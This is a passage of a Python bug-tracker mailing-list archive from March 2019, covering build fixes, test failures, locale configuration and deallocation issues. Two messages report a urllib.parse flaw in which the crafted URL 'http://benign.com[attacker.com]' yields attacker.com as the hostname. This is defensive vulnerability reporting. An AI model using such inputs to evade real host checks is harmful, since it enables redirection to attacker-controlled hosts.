  >>> M[0][0] is M[1][0]
  True

So the following *all* modify the first value in "a":

  M[0][0][0] = 1
  M[1][0][0] = 1
  M[0][1][0] = 1
  M[1][1][0] = 1

That is why you are seeing the result you reported.  Depending on your needs, better solutions include using a list comprehension, spelling out the for loops (for readability), a helper function (for complex problems), or simply spelling out the full list literal instead of composing it.  Regardless, I highly recommend using a solution that is easy for a new reader to understand.  Even if no one else will read this code, your six-months-from-now self will thank you. :)

----------
nosy: +eric.snow
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36450>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:43:57 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 15:43:57 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553701437.8.0.351678973912.issue36245@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12534
stage: backport needed -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:46:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 15:46:12 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553701572.97.0.560575217908.issue36245@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12535

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:47:59 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 15:47:59 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553701679.54.0.211919926326.issue36441@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 65445f65e6080310d612f73083ba172eb2c6e326 by Miss Islington (bot) in branch '3.7':
bpo-36441: Fixes creating a venv when debug binaries are installed. (GH-12566)
https://github.com/python/cpython/commit/65445f65e6080310d612f73083ba172eb2c6e326


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:48:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 15:48:12 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553701692.85.0.239422547678.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I did the 2.7 backport, and also fixed two more instances in that file.

Pretty sure my automerges won't work without a core dev review, so if someone wants to hit Approve and/or Merge for me, feel free.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 12:00:26 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 16:00:26 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553702426.95.0.487209778817.issue36338@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I found this page to be uesful : https://url.spec.whatwg.org/#host-parsing and following the steps it seems that this should raise an error since at the 7th step it denotes that asciiDomain shouldn't contain forbidden host code point including "[]" . As another data point using 'new URL("http://benign.com[attacker.com]")' in browser's Javascript console also raises exception that this is a bad URL. Even if attacker.com is assumed to be the correct host by Python it's not validated to be an IPV6 address where it should fail.

Ruby seems to use a regex : https://github.com/ruby/ruby/blob/trunk/lib/uri/rfc3986_parser.rb#L6
Java parseurl : http://hg.openjdk.java.net/jdk/jdk/file/c4c225b49c5f/src/java.base/share/classes/java/net/URLStreamHandler.java#l124
golang : https://github.com/golang/go/blob/50bd1c4d4eb4fac8ddeb5f063c099daccfb71b26/src/net/url/url.go#L587

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 12:06:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 16:06:17 +0000
Subject: [issue33356] Windows 10 buildbot:
 test__xxsubinterpreters.test_already_running() fails randomly
In-Reply-To: <1524666400.61.0.682650639539.issue33356@psf.upfronthosting.co.za>
Message-ID: <1553702777.59.0.594543041489.issue33356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The bug is still here. It looks like a race condition triggered on very slow buildbot like AMD64 FreeBSD 10-STABLE Non-Debug 3.x:

https://buildbot.python.org/all/#/builders/167/builds/728

0:18:13 load avg: 4.84 [405/420/1] test__xxsubinterpreters failed -- running: test_tools (6 min 1 sec)
spam
test_bad_id (test.test__xxsubinterpreters.ChannelIDTests) ... ok
(...)
test_initial (test.test__xxsubinterpreters.ListAllTests) ... ok
test_SystemExit (test.test__xxsubinterpreters.RunStringTests) ... ok
test_already_running (test.test__xxsubinterpreters.RunStringTests) ... FAIL
test_bad_id (test.test__xxsubinterpreters.RunStringTests) ... Exception in thread Thread-9:
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10.nondebug/build/Lib/threading.py", line 917, in _bootstrap_inner
    self.run()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10.nondebug/build/Lib/threading.py", line 865, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10.nondebug/build/Lib/test/test__xxsubinterpreters.py", line 51, in run
    interpreters.run_string(interp, dedent(f"""
RuntimeError: interpreter already running

ok
test_bad_script (test.test__xxsubinterpreters.RunStringTests) ... ok
test_bytes_for_script (test.test__xxsubinterpreters.RunStringTests) ... ok
(...)

======================================================================
FAIL: test_already_running (test.test__xxsubinterpreters.RunStringTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10.nondebug/build/Lib/test/test__xxsubinterpreters.py", line 855, in test_already_running
    interpreters.run_string(self.id, 'print("spam")')
AssertionError: RuntimeError not raised

----------------------------------------------------------------------

Ran 112 tests in 12.936s

FAILED (failures=1, skipped=5)
test test__xxsubinterpreters failed
(...)
Re-running test 'test__xxsubinterpreters' in verbose mode
(...)
Ran 112 tests in 3.058s
OK (skipped=5)

----------
nosy: +pablogsal
resolution: out of date -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33356>
_______________________________________

From report at bugs.python.org  Wed Mar 27 12:16:05 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 16:16:05 +0000
Subject: [issue20271] urllib.parse.urlparse() accepts wrong URLs
In-Reply-To: <1389789129.93.0.775761654638.issue20271@psf.upfronthosting.co.za>
Message-ID: <1553703365.67.0.642666638109.issue20271@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also issue36338 for a possible security issue for host of value "benign.com[attacker.com]" (spam[::1] format) where attacker.com is parsed as the host name assuming presence of [ and ] to be a IPV6 address without validation of the value attacker.com inside [] to be a valid IPV6 address.

As a datapoint input "http://[::1]spam" raises exception in Java, golang and Ruby. Browser's JS console returns invalid URL. I too would like exception being raised but not sure at which level.

Ruby seems to use a regex : https://github.com/ruby/ruby/blob/trunk/lib/uri/rfc3986_parser.rb#L6
Java parseurl : http://hg.openjdk.java.net/jdk/jdk/file/c4c225b49c5f/src/java.base/share/classes/java/net/URLStreamHandler.java#l124
golang : https://github.com/golang/go/blob/50bd1c4d4eb4fac8ddeb5f063c099daccfb71b26/src/net/url/url.go#L587

See also https://url.spec.whatwg.org/#host-parsing

If input starts with U+005B ([), then:

    If input does not end with U+005D (]), validation error, return failure.

    Return the result of IPv6 parsing input with its leading U+005B ([) and trailing U+005D (]) removed.

----------
nosy: +xtreak
versions: +Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20271>
_______________________________________

From report at bugs.python.org  Wed Mar 27 12:52:20 2019
From: report at bugs.python.org (Michael Felt)
Date: Wed, 27 Mar 2019 16:52:20 +0000
Subject: [issue36273] test_thread leaks a core dump on PPC64 AIX 3.x
In-Reply-To: <1552407244.81.0.665825370239.issue36273@roundup.psfhosted.org>
Message-ID: <1553705540.59.0.615829346734.issue36273@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

I have looked at this briefly.

I would consider it a regression, or a spurious incident as the bot run before (https://buildbot.python.org/all/#/builders/10/builds/2223) and after (https://buildbot.python.org/all/#/builders/10/builds/2225) do not show this error. It may also be spurious - as there are other users on that bot system and the cause could be a side-effect of something else.

FYI: The error message is something similar to what I see when building using xlc - there is a core dump - but I cannot get a copy of the core dump to evaluate it.

See: https://bugs.python.org/issue35828#msg336134 - where I ask for a hint on how to get the code that reports the ENV change to save/copy a core dump.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36273>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:25:35 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 17:25:35 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553707535.5.0.821230535265.issue35983@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Disabling the trashcan mechanism returns the problem for solving which the trashcan mechanism was introduced.

>>> from _testcapi import MyList
>>> L = None
>>> for i in range(1000000):
...     L = MyList((L,))
... 
>>> del L
Segmentation fault (core dumped)

I think we need better way to resolve this issue.

For example, setting the object type to the parent type should solve this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:29:06 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 17:29:06 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1553707746.91.0.633332440415.issue36202@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset d929f1838a8fba881ff0148b7fc31f6265703e3d by Victor Stinner in branch 'master':
bpo-36443: Disable C locale coercion and UTF-8 Mode by default (GH-12589)
https://github.com/python/cpython/commit/d929f1838a8fba881ff0148b7fc31f6265703e3d


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:29:06 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 17:29:06 +0000
Subject: [issue36443] Disable coerce_c_locale and utf8_mode by default in
 _PyPreConfig?
In-Reply-To: <1553641450.58.0.478845873462.issue36443@roundup.psfhosted.org>
Message-ID: <1553707746.97.0.436379891081.issue36443@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset d929f1838a8fba881ff0148b7fc31f6265703e3d by Victor Stinner in branch 'master':
bpo-36443: Disable C locale coercion and UTF-8 Mode by default (GH-12589)
https://github.com/python/cpython/commit/d929f1838a8fba881ff0148b7fc31f6265703e3d


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36443>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:29:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 17:29:58 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1553707798.17.0.511386752461.issue36202@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

My commit disabled C locale coercion and UTF-8 Mode by default when Python is embedded which fix this issue in Python 3.8. I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:30:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 17:30:10 +0000
Subject: [issue36443] Disable coerce_c_locale and utf8_mode by default in
 _PyPreConfig?
In-Reply-To: <1553641450.58.0.478845873462.issue36443@roundup.psfhosted.org>
Message-ID: <1553707810.76.0.929161027034.issue36443@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Done. I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36443>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:48:10 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 17:48:10 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553708890.01.0.415208061199.issue35983@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

Yes of course. When not using the trashcan, stuff crashes. I don't get your point...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Wed Mar 27 13:56:18 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 17:56:18 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553709378.24.0.28541055.issue35983@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

To clarify: the purpose of MyList is specifically to check that no double deallocations occur. For this test to make sense, MyList should not use the trashcan itself.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Wed Mar 27 16:40:40 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 20:40:40 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553719240.83.0.501834360897.issue36448@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

So an important aspect of the "fix" is that this message only appears after the fix has been applied. Anyone running into this locally has already updated those files, and just needs to "git add -u" to include them in their next commit. (Unfortunately, MSBuild has no reasonable way to retrigger a build it has already completed, since that introduces cycles into its dependency resolution.)

The problem here is that when a non-Windows developer sees this error in CI, it's not clear what *they* should do about it.

The current text is: "@(_Updated->'%(Filename)%(Extension)',', ') updated. You will need to rebuild pythoncore to see the changes."

The PR adds: "You may also need to run 'make regen-all'."

I'd propose adding "%0D%0A%0D%0AIf you are developing on another platform, try make regen-all and commit the updated files"

(The %0D%0A's at the start add newlines to the output for readability.)

As an aside, I thought we had a merge hook to check this on Travis? Why didn't that trigger? There's no reason why any of our CI platforms should let you build with out-of-date frozens, so it's a bit of a shame to blame the Windows build for doing its job properly :)

----------
versions: +Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 16:41:06 2019
From: report at bugs.python.org (dtrauma)
Date: Wed, 27 Mar 2019 20:41:06 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
In-Reply-To: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>
Message-ID: <1553719266.97.0.519486621707.issue36373@roundup.psfhosted.org>


dtrauma <python-bugs at digital-trauma.de> added the comment:

Just to be clear, I don't know if loop is deprecated on this function like on all the others, I just suspect it to be. But it currently is completely undocumented, which either way is a bug. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Wed Mar 27 16:52:44 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Wed, 27 Mar 2019 20:52:44 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
In-Reply-To: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>
Message-ID: <1553719964.13.0.568768280548.issue36373@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

@dtrauma jus for clarify. You say that if loop is not deprecated document it else document it.


Right?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Wed Mar 27 16:54:16 2019
From: report at bugs.python.org (dtrauma)
Date: Wed, 27 Mar 2019 20:54:16 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
In-Reply-To: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>
Message-ID: <1553720056.04.0.301485242455.issue36373@roundup.psfhosted.org>


dtrauma <python-bugs at digital-trauma.de> added the comment:

Yes, exactly, document deprecation status XOR what it does :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Wed Mar 27 17:34:41 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 21:34:41 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553722481.71.0.61957961454.issue31292@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12536

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 17:34:51 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 21:34:51 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553722491.39.0.274897492588.issue31292@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12537

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 17:34:22 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 21:34:22 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553722462.84.0.344857263141.issue31292@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset d5a5a33f12b60129d57f9b423b77d2fcba506834 by Cheryl Sabella (Philipp A) in branch 'master':
bpo-31292: Fixed distutils check --restructuredtext for include directives (GH-10605)
https://github.com/python/cpython/commit/d5a5a33f12b60129d57f9b423b77d2fcba506834


----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 17:38:04 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 21:38:04 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553722684.77.0.249164217778.issue36448@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

> As an aside, I thought we had a merge hook to check this on Travis?

For some reason, the Travis CI build on https://github.com/python/cpython/pull/12582 isn't actually starting. It says "Waiting for status to be reported" but I pushed 10 hours ago...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 17:49:22 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 21:49:22 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553723362.12.0.35472909811.issue31292@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thanks @flying sheep for the PR and @merwok for the review!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 2.7, Python 3.8 -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 18:23:23 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 22:23:23 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553725403.17.0.283253955981.issue31292@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 600aca47f085a06579e7af4c6423ea7e907b4bb4 by Miss Islington (bot) in branch '2.7':
bpo-31292: Fixed distutils check --restructuredtext for include directives (GH-10605)
https://github.com/python/cpython/commit/600aca47f085a06579e7af4c6423ea7e907b4bb4


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 18:26:00 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 22:26:00 +0000
Subject: [issue31292] `python setup.py check --restructuredtext` fails when a
 include directive is present.
In-Reply-To: <1503928665.81.0.590770692205.issue31292@psf.upfronthosting.co.za>
Message-ID: <1553725560.43.0.303390821173.issue31292@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 9cad523328324bd82fa19b597ead1614a0e61ae2 by Miss Islington (bot) in branch '3.7':
bpo-31292: Fixed distutils check --restructuredtext for include directives (GH-10605)
https://github.com/python/cpython/commit/9cad523328324bd82fa19b597ead1614a0e61ae2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31292>
_______________________________________

From report at bugs.python.org  Wed Mar 27 18:29:39 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 22:29:39 +0000
Subject: [issue33953] The DEFAULT_ENTROPY variable used to store the current
 default random bytes value should be documented for `secrets` module
In-Reply-To: <1529913551.53.0.56676864532.issue33953@psf.upfronthosting.co.za>
Message-ID: <1553725779.18.0.0656420021302.issue33953@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +rhettinger
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33953>
_______________________________________

From report at bugs.python.org  Wed Mar 27 18:49:07 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 22:49:07 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1504286649.82.0.482783873664.issue31327@psf.upfronthosting.co.za>
Message-ID: <1553726947.66.0.73842788352.issue31327@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
stage:  -> needs patch
versions: +Python 3.7, Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:00:50 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 23:00:50 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1504286649.82.0.482783873664.issue31327@psf.upfronthosting.co.za>
Message-ID: <1553727650.44.0.144191811047.issue31327@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +p-ganssle

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:06:56 2019
From: report at bugs.python.org (Solo Lee)
Date: Wed, 27 Mar 2019 23:06:56 +0000
Subject: [issue36451] Docs zh-cn roots error in nav bar
Message-ID: <1553728016.97.0.58667749867.issue36451@roundup.psfhosted.org>


New submission from Solo Lee <basolo88 at gmail.com>:

There is no link to zh-cn docs in python docs page, as in the file upload.
Thx!

----------
files: python docs en page.png
messages: 338992
nosy: Solo Lee
priority: normal
severity: normal
status: open
title: Docs zh-cn roots error in nav bar
type: behavior
Added file: https://bugs.python.org/file48233/python docs en page.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36451>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:12:26 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 23:12:26 +0000
Subject: [issue36451] Docs zh-cn roots error in nav bar
In-Reply-To: <1553728016.97.0.58667749867.issue36451@roundup.psfhosted.org>
Message-ID: <1553728346.04.0.16323257017.issue36451@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I guess it will be fixed with https://bugs.python.org/issue36425

----------
nosy: +mdk, xtreak, zhsj

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36451>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:25:30 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 23:25:30 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553729130.49.0.260471161301.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I implemented the feature Eryk was asking for, as it's also by far the easiest way to test the add_dll_directory function. So now ctypes.CDLL (and subclasses) have a `winmode` argument that gets turned directly into LoadLibraryEx flags (changing `mode` would have required a deprecation period, as it's explicitly documented as being ignored on Windows).

I believe the docs are updated as much as necessary, but if I missed something please call out.

There are no specific "import" tests, because it's such a pain to set those up (I need to delete files from the build directory during the test, and if other tests have already used them that will fail, or I need to copy the Python install elsewhere so it doesn't pick those up). But with ctypes I can exclude the application directory from the search paths. Open to brilliant ideas here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:28:36 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 23:28:36 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553729316.1.0.527080649659.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset bb89aa24cf71f9874d1d26f3a2440fefa0b6bbcc by Steve Dower in branch '2.7':
bpo-36245: Avoid problems when building in a directory containing spaces. (GH-12241)
https://github.com/python/cpython/commit/bb89aa24cf71f9874d1d26f3a2440fefa0b6bbcc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:28:43 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 23:28:43 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553729323.97.0.62991249862.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset b95a79c928fc4a6135d91c0c553cb2a63cf15140 by Steve Dower in branch 'master':
bpo-36245: Fix more empty environment variable checks (GH-12592)
https://github.com/python/cpython/commit/b95a79c928fc4a6135d91c0c553cb2a63cf15140


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:28:55 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 23:28:55 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553729335.84.0.188209454669.issue36245@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12538

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:29:29 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 23:29:29 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553729369.44.0.612601192159.issue36245@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:41:18 2019
From: report at bugs.python.org (Thomas Perl)
